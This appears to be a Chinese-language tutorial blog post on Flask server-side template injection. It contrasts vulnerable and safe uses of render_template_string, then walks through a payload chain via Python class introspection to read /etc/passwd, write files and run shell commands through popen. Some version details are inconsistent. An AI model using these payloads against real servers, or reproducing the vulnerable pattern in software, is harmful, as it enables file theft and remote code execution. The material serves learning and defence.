flask模板注入的學習
關於flask模版注入,之前不太理解,看了很多文章才弄懂,主要原理就是渲染函式的引數使用者可控就造成了模板注入
就會使使用者構造惡意的程式碼進行逃逸從而進行攻擊
flask模板渲染函式
render_template('index.html') //渲染一個頁面
index.html
<p>hello</p>
render_template_string('<p>hello</p>')//渲染一個字串
上面這兩個的效果是一樣的
原理
id = request.args.get('id')//使用者傳參id
html = '''
<h3>%s</h3>
'''%(id)
return render_template_string(html)
上面的id就可以逃逸出來
id = request.args.get('id')
return render_template_string("<h3>{{s}}</h3>",s=id);
上面的id就無法逃逸,無論傳入什麼引數都會編碼之後及進行顯示
SSTI判斷
一般我們是如何判斷到底有沒有ssti漏洞的呢?
一般我們使用{{2*4}}如果回顯計算了為8則存在SSTI漏洞,如果回顯很奇怪,那麼可能是有過濾,也可以再進一步判斷
SSTI的利用
一般我們是按照流程來的
先獲取 ‘ 的類
"'".__class__
會回顯 <class 'str'>
然後獲取其基類
"'".__class__.__base__
會回顯<class 'str'>, <class 'object'>
然後根據這個基類,找基類的引用,也就是一層的一層繼承下來的類
"'".__class__.__bases__[0].__subclasses__()
會回顯很多類大概這樣
<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>,
<class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>,
<class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>,
<class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>,
<class 'generator'>
然後找到其中能用的類
什麼是能用的類呢
比如<class `file`>就可以進行檔案讀寫
"'".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
解釋一下,這裡的.mro和上面的base幾乎一樣
這樣就可以讀取/etc/passwd檔案了
"'".__class__.__mro__[2].__subclasses__()[40]("/root/桌面/test.txt", "a").write("123")
這樣就可以寫檔案了
然後我們接著走,這裡介紹另一種<class 'os._wrap_close'>
像這種os的一般許可權都很高
"'".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__
這一步解釋一下,找到OS類然後初始化,找到其全域性變數,也就是找哪個函式有漏洞
"'".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('cd /').read()
這是找到了popen函式,然後執行了命令cd /然後把執行的結果讀出來了
總結
.__class__//找到類
.__mro__//找到基類
.__base__//同上
.__subclasses__()//找到基類的引用類
.__init__//初始化類
.__globals__//訪問全域性變數,找可利用函式
這是一些用到的方法
每一種模板用到的函式都不一樣,讀取的方法也不一樣,上述僅針對於flask模板,不過思路都差不多